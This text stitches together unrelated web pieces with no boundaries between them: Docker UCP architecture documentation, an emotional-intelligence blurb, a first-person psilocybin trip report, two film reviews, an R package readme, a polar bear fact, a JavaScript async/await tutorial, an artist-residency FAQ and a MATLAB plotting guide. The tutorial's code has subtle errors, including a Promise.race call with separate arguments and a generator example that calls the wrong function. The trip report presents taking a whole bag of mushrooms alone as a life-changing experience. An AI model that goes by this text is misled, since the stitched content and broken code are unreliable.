UCP architecture
Estimated reading time: 12 minutesThese are the docs for UCP version 3.1.12
To select a different version, use the selector below.
Universal Control Plane is a containerized application that runs on Docker Enterprise Edition, extending its functionality to simplify the deployment, configuration, and monitoring of your applications at scale.
UCP also secures Docker with role-based access control so that only authorized users can make changes and deploy applications to your Docker cluster.
Once Universal Control Plane (UCP) instance is deployed, developers and IT operations no longer interact with Docker Engine directly, but interact with UCP instead. Since UCP exposes the standard Docker API, this is all done transparently, so that you can use the tools you already know and love, like the Docker CLI client and Docker Compose.
Under the hood
Docker UCP leverages the clustering and orchestration functionality provided by Docker.
A swarm is a collection of nodes that are in the same Docker cluster. Nodes in a Docker swarm operate in one of two modes: Manager or Worker. If nodes are not already running in a swarm when installing UCP, nodes will be configured to run in swarm mode.
When you deploy UCP, it starts running a globally scheduled service called
ucp-agent
. This service monitors the node where it’s running and starts
and stops UCP services, based on whether the node is a
manager or a worker node.
If the node is a:
- Manager: the
ucp-agent
service automatically starts serving all UCP components, including the UCP web UI and data stores used by UCP. Theucp-agent
accomplishes this by deploying several containers on the node. By promoting a node to manager, UCP automatically becomes highly available and fault tolerant. - Worker: on worker nodes, the
ucp-agent
service starts serving a proxy service that ensures only authorized users and other UCP services can run Docker commands in that node. Theucp-agent
deploys a subset of containers on worker nodes.
UCP internal components
The core component of UCP is a globally-scheduled service called ucp-agent
.
When you install UCP on a node, or join a node to a swarm that’s being managed
by UCP, the ucp-agent
service starts running on that node.
Once this service is running, it deploys containers with other UCP components, and it ensures they keep running. The UCP components that are deployed on a node depend on whether the node is a manager or a worker.
OS-specific component names
Some UCP component names depend on the node’s operating system. For example, on Windows, the
ucp-agent
component is nameducp-agent-win
. Learn about architecture-specific images.
Internally, UCP uses the following components:
- Calico v3.5.3
- Kubernetes v1.11.9
UCP components in manager nodes
Manager nodes run all UCP services, including the web UI and data stores that persist the state of UCP. These are the UCP services running on manager nodes:
| UCP component | Description |
|---|---|
| k8s_calico-kube-controllers | A cluster-scoped Kubernetes controller used to coordinate Calico networking. Runs on one manager node only. |
| k8s_calico-node | The Calico node agent, which coordinates networking fabric according to the cluster-wide Calico configuration. Part of the calico-node daemonset. Runs on all nodes. Configure the CNI plugin by using the --cni-installer-url flag. If this flag isn’t set, UCP uses Calico as the default CNI plugin. |
| k8s_install-cni_calico-node | A container that’s responsible for installing the Calico CNI plugin binaries and configuration on each host. Part of the calico-node daemonset. Runs on all nodes. |
| k8s_POD_calico-node | Pause container for the calico-node pod. |
| k8s_POD_calico-kube-controllers | Pause container for the calico-kube-controllers pod. |
| k8s_POD_compose | Pause container for the compose pod. |
| k8s_POD_kube-dns | Pause container for the kube-dns pod. |
| k8s_ucp-dnsmasq-nanny | A dnsmasq instance used in the Kubernetes DNS Service. Part of the kube-dns deployment. Runs on one manager node only. |
| k8s_ucp-kube-compose | A custom Kubernetes resource component that’s responsible for translating Compose files into Kubernetes constructs. Part of the compose deployment. Runs on one manager node only. |
| k8s_ucp-kube-dns | The main Kubernetes DNS Service, used by pods to resolve service names. Part of the kube-dns deployment. Runs on one manager node only. Provides service discovery for Kubernetes services and pods. A set of three containers deployed via Kubernetes as a single pod. |
| k8s_ucp-kubedns-sidecar | Health checking and metrics daemon of the Kubernetes DNS Service. Part of the kube-dns deployment. Runs on one manager node only. |
| ucp-agent | Monitors the node and ensures the right UCP services are running. |
| ucp-auth-api | The centralized service for identity and authentication used by UCP and DTR. |
| ucp-auth-store | Stores authentication configurations and data for users, organizations, and teams. |
| ucp-auth-worker | Performs scheduled LDAP synchronizations and cleans authentication and authorization data. |
| ucp-client-root-ca | A certificate authority to sign client bundles. |
| ucp-cluster-root-ca | A certificate authority used for TLS communication between UCP components. |
| ucp-controller | The UCP web server. |
| ucp-dsinfo | Docker system information collection script to assist with troubleshooting. |
| ucp-interlock | Monitors swarm workloads configured to use Layer 7 routing. Only runs when you enable Layer 7 routing. |
| ucp-interlock-proxy | A service that provides load balancing and proxying for swarm workloads. Only runs when you enable Layer 7 routing. |
| ucp-kube-apiserver | A master component that serves the Kubernetes API. It persists its state in etcd directly, and all other components communicate with API server directly. |
| ucp-kube-controller-manager | A master component that manages the desired state of controllers and other Kubernetes objects. It monitors the API server and performs background tasks when needed. |
| ucp-kubelet | The Kubernetes node agent running on every node, which is responsible for running Kubernetes pods, reporting the health of the node, and monitoring resource usage. |
| ucp-kube-proxy | The networking proxy running on every node, which enables pods to contact Kubernetes services and other pods, via cluster IP addresses. |
| ucp-kube-scheduler | A master component that handles scheduling of pods. It communicates with the API server only to obtain workloads that need to be scheduled. |
| ucp-kv | Used to store the UCP configurations. Don’t use it in your applications, since it’s for internal use only. Also used by Kubernetes components. |
| ucp-metrics | Used to collect and process metrics for a node, like the disk space available. |
| ucp-proxy | A TLS proxy. It allows secure access to the local Docker Engine to UCP components. |
| ucp-reconcile | When ucp-agent detects that the node is not running the right UCP components, it starts the ucp-reconcile container to converge the node to its desired state. It is expected for the ucp-reconcile container to remain in an exited state when the node is healthy. |
| ucp-swarm-manager | Used to provide backwards-compatibility with Docker Swarm. |
UCP components in worker nodes
Worker nodes are the ones where you run your applications. These are the UCP services running on worker nodes:
| UCP component | Description |
|---|---|
| k8s_calico-node | The Calico node agent, which coordinates networking fabric according to the cluster-wide Calico configuration. Part of the calico-node daemonset. Runs on all nodes. |
| k8s_install-cni_calico-node | A container that’s responsible for installing the Calico CNI plugin binaries and configuration on each host. Part of the calico-node daemonset. Runs on all nodes. |
| k8s_POD_calico-node | “Pause” container for the Calico-node pod. By default, this container is hidden, but you can see it by running docker ps -a . |
| ucp-agent | Monitors the node and ensures the right UCP services are running |
| ucp-interlock-extension | Helper service that reconfigures the ucp-interlock-proxy service based on the swarm workloads that are running. |
| ucp-interlock-proxy | A service that provides load balancing and proxying for swarm workloads. Only runs when you enable Layer 7 routing. |
| ucp-dsinfo | Docker system information collection script to assist with troubleshooting |
| ucp-kubelet | The kubernetes node agent running on every node, which is responsible for running Kubernetes pods, reporting the health of the node, and monitoring resource usage |
| ucp-kube-proxy | The networking proxy running on every node, which enables pods to contact Kubernetes services and other pods, via cluster IP addresses |
| ucp-reconcile | When ucp-agent detects that the node is not running the right UCP components, it starts the ucp-reconcile container to converge the node to its desired state. It is expected for the ucp-reconcile container to remain in an exited state when the node is healthy. |
| ucp-proxy | A TLS proxy. It allows secure access to the local Docker Engine to UCP components |
Pause containers
Every pod in Kubernetes has a pause container, which is an “empty” container that bootstraps the pod to establish all of the namespaces. Pause containers hold the cgroups, reservations, and namespaces of a pod before its individual containers are created. The pause container’s image is always present, so the allocation of the pod’s resources is instantaneous.
By default, pause containers are hidden, but you can see them by running
docker ps -a
.
docker ps -a | grep -I pause

Volumes used by UCP
Docker UCP uses these named volumes to persist data in all nodes where it runs:
| Volume name | Description |
|---|---|
| ucp-auth-api-certs | Certificate and keys for the authentication and authorization service |
| ucp-auth-store-certs | Certificate and keys for the authentication and authorization store |
| ucp-auth-store-data | Data of the authentication and authorization store, replicated across managers |
| ucp-auth-worker-certs | Certificate and keys for authentication worker |
| ucp-auth-worker-data | Data of the authentication worker |
| ucp-client-root-ca | Root key material for the UCP root CA that issues client certificates |
| ucp-cluster-root-ca | Root key material for the UCP root CA that issues certificates for swarm members |
| ucp-controller-client-certs | Certificate and keys used by the UCP web server to communicate with other UCP components |
| ucp-controller-server-certs | Certificate and keys for the UCP web server running in the node |
| ucp-kv | UCP configuration data, replicated across managers |
| ucp-kv-certs | Certificates and keys for the key-value store |
| ucp-metrics-data | Monitoring data gathered by UCP |
| ucp-metrics-inventory | Configuration file used by the ucp-metrics service |
| ucp-node-certs | Certificate and keys for node communication |
You can customize the volume driver used for these volumes, by creating the volumes before installing UCP. During the installation, UCP checks which volumes don’t exist in the node, and creates them using the default volume driver.
By default, the data for these volumes can be found at
/var/lib/docker/volumes/<volume-name>/_data
.
Configurations used by UCP
| Configuration name | Description |
|---|---|
| com.docker.interlock.extension | Configuration for the Interlock extension service that monitors and configures the proxy service |
| com.docker.interlock.proxy | Configuration for the service responsible for handling user requests and routing them |
| com.docker.license | The Docker EE license |
| com.docker.ucp.interlock.conf | Configuration for the core Interlock service |
How you interact with UCP
There are two ways to interact with UCP: the web UI or the CLI.
You can use the UCP web UI to manage your swarm, grant and revoke user permissions, deploy, configure, manage, and monitor your applications.
UCP also exposes the standard Docker API, so you can continue using existing tools like the Docker CLI client. Since UCP secures your cluster with role-based access control, you need to configure your Docker CLI client and other client tools to authenticate your requests using client certificates that you can download from your UCP profile page.

Emotional Intelligence EI, is the ability to utilise and relate to our emotions in a healthy way
Intelligence Quotient IQ, is all about logic and the working out of things, EI is about emotions, as humans we are a mix of both.
EI is important to manage our feelings about things, it is not something that should be just tolerated but celebrated. Our emotions can often provide intuition about situations more quickly then intellect can't, the opportunity of EI is that we can also learn how to perform the best at work and with others.


It all started on a warm April night. I was all alone that night with my bag of shrooms. My room was a 'sacred ground,' one where I would find everything I would need to help me see what I was about to do. This was the second time that I had taken these mind-bending fungi. It had been several months since the last time I'd shroomed, which was a killer experience where I almost killed my self. This time I was playing it safe and staying in my room listening to some of my trance discs on my kickin' new stereo. I was getting ready to let my being go and let the world come in. It was only one week after my birthday. I was ready to start all over. Ready to get my life headed in the direction that I needed to go in. I felt the only way that I could this was to have a massive life-altering trip. So I ate the whole bag at exactly 8pm.
I remember watching 'The Devil's Advocate' (which wasn't exactly the best way to start a trip, but then again I wasn't really thinking at the time) at around 830, that's when I started to feel that tingle that starts in the ears. Then the feeling of not knowing. I was getting more and more excited. Then the movie started to warp, and that's when I started to understand what the true meaning of it all really was. I simply couldn't take it anymore. The thought of living and dying and going to hell was just too much. And that's when the shrooms really started to hit me hard.  I had to clear my mind out. But it was already too late. The trance had already super-charged the effects, and slowly I was vanishing into my mind. The thought of where I was, and the way I was living... all of these thoughts kept flowing through my mind, overpowering any other thoughts in my mind.
I was lying on my bed with the lights out, the endless litany of the music, and my entire life began flashing before my eyes. The patterns in the ceiling started to take strange shapes, swirling into my unconscious, leading me to what I saw as the center to everything. Then everything began to warp, pulling me in. I had died, and was born again in the same instant. And then I started to see the world as it really was, as if seeing it for the first time all over again, only more clearly this time around. I was praying to the gods and goddesses, asking them all of the questions that all humans want to know the answers to.
What is this?
What does it all mean?
Then everything was revealed. I found all of the answers I was looking for, and more... I saw all of the different possibilities to my life, and everything in it, but all of the different planes of existence. I saw what reality really was.
Everything is reality.
This is real.
The dreams we have are real.
The thoughts we have are real.
The lives we live and the lives' that we wish for are all real.
There is a center to everything, warping everything into it.
It's time recycling itself forever, worlds in constant flux,
Life always beginning anew,
The true power of LOVE.
All colors,
And yet,
No colors at all.
A force that holds all of the energies in our infinite universe.
The past, The future, and present!
Totality, but not quite, it's hard to comprehend, but in this one moment, everything made crystal clear, a moment of silent lucidity. It was all true, all of it.
I had been laying in this position for around 5 hours when I finally came back to my body. The world felt strangely different and yet strangely familiar at the same time. I got up to walk around and ponder everything that the gods had shown me. It was as if I was a new person. For the first time in my life I was content with the choices I was making. Everything was going as foreseen in the EYES OF THE UNIVERSE.

Dance With Me (1998)
A Film Review by Mark O'Hara
Just as The Color of Money taught us the jargon of billiards, and Rounders instructed us in the vocabulary of poker, Dance With Me makes us literate in the field of Latin dancing. It's the feel of being inside this specialized community that drives the narrative of the film.
Assisted by extraordinary choreography and editing, the dance scenes occupy a good amount of the 126-minute running time. Their motion and grace pass the time easily. We witness first the informal abandon in the bar in Santiago de Cuba, the hometown of Rafael Infante (Chayanne). Soon afterwards, we are in a Texas dance studio, the walls mirrored, the floor crossed and re-crossed by dancers giving lessons or practicing for the big-time competitions to be held shortly in Las Vegas. The competitions provide some of the most interesting and tension-filled moments. Finally, the scenes shot in dance clubs, reminiscent of the early Cuba footage, highlight the conflict that sparks the film's romantic subplot. Ruby Sinclair (Vanessa L. Williams) practices routines that are ostensibly Latin in design, painstaking in choreography - but that lack the music-driven insouciance of the real thing.
Williams is a remarkable dancer. From her drills in the studio to her twirls before the judges, she shows off her accomplishment. She is quite likable in the role, even when we discover that she is a single mom who is quietly determined to do what is best for her son Peter. This family situation is one of many cliches in the plot; it is forgivable, though, because Williams acts so naturally. Particularly riveting are her facial expressions as she dances: one thinks of Michael Jordan, tongue out and eyes wide, pivoting and darting with stunning sureness. Williams' presence onscreen guarantees the viewer's interest.
Her character's relationship with Rafael builds slowly. She picks him up at the bus station and takes him to the studio, which is owned by the man who is apparently Rafael's father. Working as a handyman, Rafael slowly becomes part of the family of employees of the studio. What takes Ruby a while to find out is that Rafael can dance extremely well - just not how she is trying to instruct him how to dance. Perhaps Rafael's most charming scene has him stranded on a lawn just as the sprinklers activate; here Chayanne does a hopping and stomping routine that nods at Gene Kelly, the simulated rain bringing out his love of life. Like Williams, Chayanne does his own dancing, including the body language that helps to show his passion.
Kris Kristofferson plays John Burnett, who for over 20 years has run the studio and competed in the international competitions. Although Kristofferson is not convincing as a dancer - he really dances in only one scene, and it's generic ballroom - he does a credible job as an aloof but likable aging man. It's his situation as a sudden father, and Rafael's reaction to the resulting behavior, which constitutes the unforgivable cliché in the work. The supporting studio dancers and students are quirky and well-sketched. There's Stefano (William Marquez), the older instructor who plays his ego for laughs; there's Lovejoy (Beth Grant), the seeming manager of the place; and there's Bea (Joan Plowright), Stefano's student, who steals the camera whenever it is pointed at her.
Most of the picture's dialogue is believable. Once, though, Rafael utters the sentiment, "I'm Cuban, of course I can dance." And there are a few too-long pauses, which caused me to doubt the adage, "If you can't say something nice, don't say anything at all." Sometimes it's better to say what regular people would say, even it's meaningless.
Why should a viewer sit through Dance With Me and maybe even rent it upon video's release? Because of the acting, pleasing to look at. Because of the music, fast and relentless. Most of all, because of the dancing, which does for the viewer what a good book does for a reader: transports her for a time into another, fascinating world.

A package for large-scale taxonomic harmonization of plant names by fuzzy matching and synonymy resolution against the Leipzig Plant Catalogue as taxonomic backbone. Submission of single names or list of species names is possible (for lists with more than 5000 species computation may take some time). The Leipzig Plant Catalogue is an updated taxonomic backbone based on the plant list comprising more than 1,300,000 names and 350,000 accepted names (this data is in the LCVP
package).
See News.md
for update information.
You can install lcvplants directly from R using the install_github
function of devtools (you may need to install that one first). To use lcvplants
you also need the data of the LCVP
package, which you can install in the same way.
library(lcvplants)

LCVP("Hibiscus vitifolius")
# Can also include infra specific names and authorities
LCVP("Hibiscus abelmoschus var. betulifolius Mast.")
# Also works on vectors of names

A polar bear's coat is made up of two unique layers: The shorter coat provides insulation from weather, while the longer coat prevents water from reaching the short coat layer and skin.
Bears are carnivoran mammals of the family Ursidae. They are classified as caniforms, or doglike carnivorans. Although only eight species of bears are extant, they are widespread, appearing in a wide variety of habitats throughout the Northern Hemisphere and partially in the Southern Hemisphere.

async
/await

in JS?function*
generators in JS?Worker
, but that's for another time.)AKA: the problem.
The standard way of dealing with any JS event
// Fire doSomething() when the user clicks the element
element.addEventListener('click', doSomething);
Here the asynchronous thing is the user.
Thanks to JS being single threaded (sort of) doSomething()
is going to finish
before any other user initiated event can fire.
So far, so good. Almost all JS developers will have used this pattern.
A lot of events aren't due to user input (or maybe they just start with user input)
Often we want to do on asynchronous action after completing another - a chain.
Or we want to apply logic: if asynchronous check is true then do something different - a branch.
Error handling is essentially another branch.

You can see code that does this at https://www.evolutionjobs.com/uk/media/async-programming-in-js-76719
This nested soup of callbacks is called: Callback Hell
Promise
An object that represents an asynchronous action.
Promises have been around as an idea for a long time, and have a lot of similar concepts:
.then()
continuation.Promise
is the New API StandardMost promises will be returned by APIs - you'll be consuming them.
All new APIs use them.
Promise
: Example// Use a promise where you would have a callback
function doThingPromise(input) {
// Init a promise with a function that has two function parameters
return new Promise(function (resolve, reject) {
// Wrap a callback
doThingCallback(input, function (result) {
resolve(result);
}, function (err) {
reject(err);
} )
});
}
Promise
: Golden RuleWhen you make a promise, you always follow through.
Just like real life!
Promise
This means you always resolve or reject the Promise
.
If there is a path through the Promise
that doesn't resolve or reject then that's
a fire-n-forget bug.
Keep promises small and low level.
Promise
Let's look at 3 implementations:
ajaxPromise: XMLHttpRequest wrapper
chrome-extension-async: Chrome's extension API
idb: IndexedDB
Promise
.then([onResolved], [onRejected])
fires when the Promise
completes.
If resolve
then onResolved
is called.
If reject
then onRejected
is called.
If neither then .then()
never fires!
Promise
: Chains.then()
also returns a Promise
onResolved
can be:
undefined
- onRejected
is still checked.// JSON parse the promise result and then log it
doThingPromise(input).then(JSON.parse).then(console.log);
Promise
- continue the chain:
// Fetch a URL and pass the result to our Promise
fetch(url).then(doThingPromise).then(JSON.parse).then(console.log);
Promise
Chains are a much better way of dealing with sequences of callbacks.
Exceptions are also chained, and can be easily intercepted or caught right at the end
// logException gets called if any of the chain rejects
fetch(url).then(doThingPromise).then(JSON.parse).catch(logException);
Promise
is not always betterPromises work best where there is a single asynchronous thing to wait for.
Promises only resolve once.
Ask a question, wait, get an answer.
Promise.race()
What wins?
// Race
var tortoise = slowPromise();
var hare = fastPromise();
var dnf = rejectPromise();
var whoWins = Promise.race(tortoise, hare, dnf);
It depends on whether dnf
is quicker than hare
.
Think of it like motorsport: if anyone crashes there's a red flag and the race stops.
function*
that returns multiple values with yield
Generators are syntactic sugar - they generate a state machine so you don't have to.
Generators can be consumed as iterators:
// Out only generator function
function* getThings(start) {
yield start * 2;
yield start * 3;
return start * 4;
}
Pull consumed with:
let generator = getThings(1);
let item = generator.next();
while(!item.done) {
console.log(item.value);
item = generator.next();
}
// For-of
for(let x of getThings(1))
console.log(x);
// Spread operator
const arrayOfAll = [...getThings(1)];
// Access the iterator function
let myObj = {};
myObj[Symbol.iterator] = function* () { /* custom iterator */ };
let nativeIterator = getThings(1)[Symbol.iterator];
// Early examples may refer to this as @@iterator, now deprecated.
Generators can also have values pushed to them with yield
also passing back a value:
// In/out generator function
function* keepGettingThings(start) {
let keepGoing = true;
while (keepGoing)
// After the code yielded to has called .next
keepGoing = yield ++start;
return start;
}
Push consumed with:
let generator = getThings(3);
let item = generator.next(true);
while (!item.done) {
console.log(item.value);
// Pass back true until we get to 10
item = generator.next(item.value < 10);
}
This isn't asynchronous code, we're just passing the active thread back and forth.
async
& await
The future.
Except for Node.js, TypeScript, Babel, Chrome and (most recently) FireFox, where it is already here.
async
/await
vs Promise
async
/await
is syntactic sugar for a Promise
.
async
says: This function will return a Promise
.
await
says: return a new Promise
here,
and put everything after this in a .then()
.
// With async/await
async function doSomethingAsync(input) {
const url = BuildUrl(input);
const response = await fetch(url);
if(!response.ok)
throw new Error(response.statusText);
return response.json();
}
// Without
function doSomethingPromised(input) {
var url = BuildUrl(input);
return fetch(url).then(function(response) {
if(!response.ok)
throw new Error(response.statusText);
return response.json();
});
}
Almost! You can think of it this way, but it's using a generator.
// With async/await
async function doSomethingAsync(input) {
const url = BuildUrl(input);
const response = await fetch(url);
if(!response.ok)
throw new Error(response.statusText);
return await response.json();
}
// With generator, looks similar
function* doSomethingGenerated(input) {
var url = BuildUrl(input);
var response = yield fetch(url);
if(!response.ok)
throw new Error(response.statusText);
return response.json();
}
// Pseudo-code consumer for generator
var generator = doSomethingGenerated(input);
var promiseResponse = generator.next().value;
promiseResponse.then(function(result) {
var promiseJson = generator.next(result).value;
promiseJson.then(function(result) {
// Resolve the outer promise
resolve(result);
},
generator.error)
},
generator.error);

async
Once you go async
you never go back - functions that call async
code tend to need to be async
too.
When a function calls an async
then it can:
async
too and call the nested function with await
.Promise
on up to the caller (in which case the caller now needs to be async
too).try-catch
await
causes any chained exception to be caught:
async function getThing() {
try {
const thing = await ajaxThing();
if(thing.foo)
thing.bar = await ajaxOtherThing();
// Without an await this call is fire-n-forget,
// uncomment the await to include it in the try-catch
/*await*/ saveInLocalCache(thing);
return thing;
}
catch(err) {
// Any error thrown by any await
}
}
async
in Synchronous CodeIf you don't await
an async
function then you get a Promise
:
async function getThing() {
const thing = await ajaxThing();
return thing;
}
// Then
let t = await getThing(); // t will be the thing, once getThing() has finished
let p = getThing(); // p will immediately be a promise, that resolves with the
// thing once getThing() has finished
// Either of these will get us the thing
p.then(t => /* We have t */);
t = await p;
What does this do?
// Await loop
const result = [];
for(let id of idArray)
result.push(await getThing(id));
return result;
Next doesn't start until previous has resolved.
// Fix with await at end
for(let id of idArray)
result.push(getThing(id));
return await Promise.all(result);
Start all the promises in parallel, then await
once at the end.
.NET has supported async
/await
since C#5.
Task<T>
instead of Promise
yield return
instead of yield
(Though iterators work quite differently in .NET)
.NET can block: wait synchronously for an asynchronous operation.
// Call Result to stop and wait for the task to complete
var task = GetSomethingAsync();
var block = task.Result;
However, in .NET this is almost always a bad idea.
It's bad for performance and prone to thread deadlock bugs, expect to need task.ConfigureAwait(false)
lots.
async
/await
support is coming in other languages too.
3.2 added generators with yield from
.
3.2 also added futures, which are similar to Promise
or Task
3.5 brought full support for async
/await
.
PHP 5.5 supports generators and yield
.
The PHP Asynchronous Group has written a promise implementation.
PHP is a long way from supporting async
/await
.
Java has a lot of good libraries and is very powerful, but it's extremely slow to develop new language features (typically 5-10 years behind C#).
Java 8 has CompletableFuture

Run Lola Run (1998) 81m.
Guaranteed big-screen crowd-pleaser from writer-director Tom Tykwer: it's a welcome change from the Teutonic gloom we normally get imported from Germany for film festivals. Premise reads like a parallel universe joke, but is executed like a music video: Vermilion-haired Lola (Frunka Potente) gets a panicky phone call from her boyfriend Manni (Mortiz Bleibtreu). He needs to come up with 100,000 marks in twenty minutes or his life is forfeit. Using only a moment to think what to do, Lola immediately hot-foots it out of her apartment to save him. Energetic, rocket-paced film dispenses with its plot in the twenty minutes - as promised - but then whips everything back to where it started to replay it a second, and then third time. It seems that everything we do in life is so contrived of the most infinite circumstances that this story can replay itself endlessly with infinite conclusions: even the people Lola passes in the street have different destinies that are compressed to flash by us in seconds.
Despite the threat of assassination that hangs over the proceedings, RUN LOLA RUN is very light, and abounds with humorous twists and surprises (one hilarious moment finds Lola outside a bank confronted by the police). Appropriately, Tykwer has treated the exercise as a game: there is no need for us to be concerned about the lives or deaths of these characters as they are constantly re-invented. He also has remixes of the same tune throughout the film complementing the 'variations on a theme' storyline. And, notably, the cause-and-effect logic of the story is punctuated by constant collisions or near-misses - nearly everyone has a run-in with a car, bicycle, truck, ambulance, pedestrian, or stroller as if they were so many hypercharged electrons bumping off each other, splitting and merging into their own quantum-level parallel universes. Another admirable element of the film is its purely cinematic value - you'll be so caught up in its constant movement (of course the only shot of the sky just has to have a passenger jet swooping by) that you probably won't even notice the absence of special effects. Using every crane trick, slow-motion, pixillation, camera angle and editing device at his disposal Tykwer manages to pull off a highly visual treat created almost entirely within camera. It's prime material for some needless, overbudgeted Hollywood remake. And yes, Lola really does run.

Tiny Apartment is an artist in residence started by Quinlan Deer. Quinlan is an artist currently working as a web developer and designer. She studied art at the University of British Columbia. The residence takes place in the guest room of Quinlan's spare room on a quiet street in the middle of Montreal's cultural and creative neighbourhood, the Plateau.
The idea of creating a residence in residence was born out of the inspiration from seeing other artists create their own spaces to practise art, as well as the influences those spaces have on their practise. Tiny apartment's purpose is to create community and collaboration through living in another artist's space.
Residences will typically last one month, but the timeline is flexible depending on the artist's availability. At the end of the residence, an exhibition will be held inside and the apartment and it's surrounding areas. The residence will cover exhibition opening costs, and publicity. A small fee will be asked from the artist in residence for basic utilities. The artist is also expected to pay for their own materials.
Tiny apartment accepts and will consider artists of all media. Artists working in installation and audiovisual art are especially encouraged to apply.
FAQS
What is the accomodation like?
Artists will stay in the guest room/studio space of my apartment. There will be a futon, a desk space, a chair, a projector and two white walls to work on. Bathroom and kitchen are shared.
How long are residences and when do they begin?
Residences will typically be one month long, but this timeline is flexible to be shorter/longer depending on the artist's availability. There are no set dates on when residences begin/end. This is also dependant on my own schedule and the schedule of the participating artist.
Where will the exhibition be held and how long will it be on?
Exhibitions will be in "pop up" style. Meaning, they will only be on for one night. The pop-up exhibition will take place in and around the apartment. The furniture will be cleared out and the artist will be able to use the space (inside and out) as they see fit.
What kind of artists are accepted?
Visual artists, musicians, performing artists and writers are all accepted. The only catch is that there must me a visual element to whatever art form you choose to exhbit at the end of the month. Being a visual artist myself, I'm open to the idea of collaborating with artists whose practise does not include any visual element
Can more than one person take part in the residency at a time?
Yes! But they must be okay with sharing a sleeping surface and living space.


Workspace plotting
Starting the workspace plotter
The workspace plotter is a fast way to plot the variables in your
current workspace. No more errors from mistyping those long variable names.
Just type plt (with no arguments) at the command prompt and a
window will appear such as the one shown to the left. (This window was actually
generated with the included
pltvar.m script example which creates the variables
listed and then calls plt with no arguments.) All the variables in your workspace (except for
scalars and strings) will be listed in the workspace plotter figure. The size of
the variable (row, column) appears right after the variable name. If your
workspace contains many variables, the variable list may appear in several
columns. If your workspace includes 1x1 structures with vector fields
(such as the bottom two variables in this figure),
then these fields will also appear in the workspace plotter figure using the
usual structure notation (struct.field)
Choosing an x-vector
The first thing you should do is select the x-vector that you want to plot
along the x-axis. As you can see from the instructions (in green) at the top of
the figure, you should do this by clicking on the desired x-vector using the
right1 mouse button. You
may click on any of the variables shown in white. Note that in this example, the
variable called long_variable_name is grayed out.
This is because only row or column vectors can be x-vectors. Since
long_variable_name has three rows of 400 elements it
can't be selected as an x-vector.
1 Actually in this initial situation you may
also select the x-vector with a left click. Usually a left click is
used for selecting y-vectors, but since you can't do that without at least
on selected x-vector it assumes that you are choosing an x-vector in either case.
For consistency, you still might want to stick with the right click for selecting
the x-vector - a habit that probably will make workspace plotting easier.
Suppose you choose to plot the 400 element row vector sec
along the x axis. After you click on that vector, it turns red for identification
and visibility and the tag ←x
is placed after the variable name indicating this is the chosen x vector as
shown to the left.
Choosing a y-vector
Next you must choose the array (or arrays) to plot along the y axis. The plot
routine requires that one of the dimensions of the y array match the length of
the x vector. So in this example, the y arrays must have either 400 rows or 400
columns. In this example five of the variables do not meet this
condition, so they are grayed out and you will not be allowed to select
them.
Suppose you then click on these 3 array names:
long_variable_name, psvb1, and
s.psvb4. As you click on them, the names will turn
yellow and the tag ←y
is placed after the variable names to indicate that these arrays are to be
plotted along the y axis.
If you then click on the "Plot" button plt will create a plot containing five
traces. The first 3 traces will be the 3 rows of the array
long_variable_name. The fourth trace will contain the data from
psvb3 and the last trace will contain the data from
s.psvb4. (Note that the order of the traces will be
according to the order that the variables appear in the list and not on the order
that you clicked on them.)
By default, a maximum of 7 characters are used in the TraceID box which means that
some characters may be removed to make it fit. Note that the last character is always
included and underscores are removed to save space. Also note that for arrays with
more than one row or column a row or column index is attached to the end of the name.
Since a single x vector is being used, the x vector name (sec)
is used as the x-axis label. In this example, the y-axis is labeled with Y
axis for lack of anything better. If you had selected just a single
y-axis variable for plotting, that variable name would be used as the y-axis label.
Starting from the previous situation, suppose
the numbers in psvb1 were far bigger than the other selected y variables.
Then the other traces would be too small when plotted on the same y-axis
scale. One way to solve this problem is to plot psvb1 on the right hand axis
and leave the other variables on the left side. To do this, double click on
psvb1. Note that its color changes to orange and the ←y
changes to ←yR
to indicate that this variable will be plotted on the right hand axis. You
may select as many traces as you want for either the left or right hand axes.
To change a ←yR
(orange) to a ←y
(yellow) single click a few times on the variable name. (The exact number of
clicks depends somewhat on the situation.)
So far we have only selected a single x vector.
Although this will be sufficient most of the time, the workspace plotter
allows multiple x vectors to be selected. Suppose you now right-click on
seconds and vb2rep.
(Since they are grayed out, they won't accept a left click, but in this
situation they will accept a right click). These two variables will then
turn red to indicate that they are to be used as x vectors. They will also
be marked with ←x2
and ←x3
respectively and the ←x
marking on sec will change
to ←x1.
The digits after the "x" make it easier to know
which x vector you have selected for each y vector. Also the first two
variables (b1catb3 and
b2catb4), which were grayed out before, now turn white because these
800 element row vectors now can be plotted versus either x2 or x3.
Suppose you then click once on both b1catb3 and
b2catb4. They will both turn yellow and be marked
with ←y2
indicating that they should be plotted with respect to
x2 (seconds). In this case there is
more than one choice of x vectors, so if you click on
b2catb4 again, its mark changes from
←y2
to ←y3 as shown in
the figure to the left. Since there are no other possible x
vectors to choose from, if you click on b2catb4
one more time the ←y3
mark will disappear and the variable name will change back to white, indicating that it is
no longer selected.
Every time you click the "Plot" button, the workspace plotter will create
a new figure window containing the plot you specified by the various
←x
and ←y
tags. When you have created many plots, pressing the "CloseAll" button is a
convenient way to close all of these figure windows (although the workspace
browser window itself remains open).
If you have many long variable names, you may not be happy with TraceIDs of only 7 characters.
In that case, you can specify longer TraceID's tags by typing a
command such as TraceIDlen=17; before calling the
workspace plotter. (Try this before typing pltvar).
However you will notice one problem. The longer trace names will not fit in
the space reserved for the TraceID box and the characters will run into the
main plot axis. You could solve this problem by using a plt option variable,
which is any variable containing the characters pltvar
in the variable name. So for example the variables pltopt, pltopt2, another_pltoption
would all be recognized as plt option variables where as variables pltOpt2
and another_plt_option would not be so recognized because it must contain
the string "pltopt" exactly (including case).
So before starting pltvar, try typing the following two lines at the command prompt:
TraceIDlen=17;
pltopt = {'xy', [0 .24 .12 .74 .86; -1 .01 .83 .2 .15]};
The first row of the xy parameter gives new coordinate locations for the plot (both left & right axes) and
the second row gives new coordinates for the TraceID box. These coordinates can be
generated easily by moving/resizing the objects with the mouse. (To see how, look at the manual section
GUI building with plt).
If you wanted to make the two commands above permanent for all workspace plotting,
create a file on your Matlab path named pltdef.m
which contain those two lines. Below are more details about how to use pltdef.m
As an alternative to the 'xy' parameter used above you could use the 'AxisPos' parameter as follows:
pltopt = {'AxisPos',[1.8 1 .86 1 2.8]};
This would increase the width of the TraceID box by a factor of 2.8 while letting plt choose
the height of the TraceID box appropriately (an advantage over the 'xy' command). Unfortunately
the AxisPos parameters can't be determined automatically with the GUI building tools. (The "1.8"
tells plt to make the blank space to the left of the axis 80% bigger to make more room for the
TraceIDs and the ".86" tells plt to make the plot width 86% of the former size so that the plot
doesn't run off the right edge.)
To see a list of all the possible commands you can insert into pltopt variables, see these sections of the manual
pltdef.m
